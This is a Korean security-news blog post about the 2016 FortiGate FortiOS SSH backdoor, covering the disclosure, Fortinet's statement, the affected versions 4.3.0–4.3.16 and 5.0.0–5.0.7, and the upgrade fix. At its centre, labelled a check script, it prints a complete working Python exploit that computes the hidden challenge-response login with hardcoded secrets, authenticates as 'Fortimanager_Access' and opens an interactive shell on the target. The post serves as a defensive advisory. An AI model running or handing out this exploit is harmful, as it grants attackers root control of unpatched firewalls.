상세 컨텐츠

본문 제목

FortiGate에 SSH 백도어가 존재한다?

국내외 보안동향

by 알약(Alyac) 2016. 1. 13. 15:32

본문

1월 12일, 트위터의 @esizkur이라는 사용자는 Fortigate에 ssh백도어가 존재하며, FortiOS v 4.0 ~ v 5.0.7 이 영향을 받는다고 하였습니다. 

공격자는 이 백도어를 이용하여 방화벽 제어권한을 획득할 수 있으며, 보안설정도 바꿀 수 있다고 하였습니다. 


이러한 주장에 1월 13일, FortiGate는 공식의견을 발표하였는데, 해당부분은 2014년 내부 보안심사때 밝혀진 문제로, 관리프로토콜의 버그로 백도어는 아니라고 말하였습니다. 또한 조사결과 해당 부분이 악의적으로 이용된 부분을 확인할 수 없었다고 말했습니다. 





취약점 점검 스크립트


#!/usr/bin/env python


# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7

# Usage: ./fgt_ssh_backdoor.py <target-ip>


import socket

import select

import sys

import paramiko

from paramiko.py3compat import u

import base64

import hashlib

import termios

import tty


def custom_handler(title, instructions, prompt_list):

    n = prompt_list[0][0]

    m = hashlib.sha1()

    m.update('\x00' * 12)

    m.update(n + 'FGTAbc11*xy+Qqz27')

    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')

    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())

    return [h]



def main():

    if len(sys.argv) < 2:

        print 'Usage: ' + sys.argv[0] + ' <target-ip>'

        exit(-1)


    client = paramiko.SSHClient()

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())


    try:

        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)

    except paramiko.ssh_exception.SSHException:

        pass


    trans = client.get_transport()

    try:

        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)

    except paramiko.ssh_exception.AuthenticationException:

        pass


    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)

    chan = client.invoke_shell()


    oldtty = termios.tcgetattr(sys.stdin)

    try:

        tty.setraw(sys.stdin.fileno())

        tty.setcbreak(sys.stdin.fileno())

        chan.settimeout(0.0)


        while True:

            r, w, e = select.select([chan, sys.stdin], [], [])

            if chan in r:

                try:

                    x = u(chan.recv(1024))

                    if len(x) == 0:

                        sys.stdout.write('\r\n*** EOF\r\n')

                        break

                    sys.stdout.write(x)

                    sys.stdout.flush()

                except socket.timeout:

                    pass

            if sys.stdin in r:

                x = sys.stdin.read(1)

                if len(x) == 0:

                    break

                chan.send(x)


    finally:

        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)



if __name__ == '__main__':

    main()


Esizkur은 “FortiOS 백도어는 기본으로 설정되어있는 패스워드를 이용한 것이 아니라, Chanllenge-response 매커니즘을 이용한 것"이라고 말했습니다.





영향받는 시스템


FortiOS 4.3.0-4.3.16   

FortiOS 5.0.0-5.0.7


공격자는 해당 취약점을 이용하면 Fortigateroot권한을 획득할 수 있습니다.


패치방법


현재까지 공식 패치가 나온 것은 없습니다. 다반 상위버전으로 업그레이드를 하면 해당 문제를 해결할 수 있습니다. 


FortiOS 4.3 : FortiOS 4.3.17및 그 이상 버전으로 업그레이드

FortiOS 5.0 : FortiOS 5.0.8 및 그 이상 버전으로 업그레이드


>> 최신 펌웨어 버전 확인하러 가기





참고 : 

http://seclists.org/fulldisclosure/2016/Jan/26

https://twitter.com/esizkur/status/686842135501508608

https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/

http://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios?from=timeline&isappinstalled=0

http://www.fortiguard.com/advisory/fortios-ssh-undocumented-interactive-login-vulnerability



관련글 더보기

댓글 영역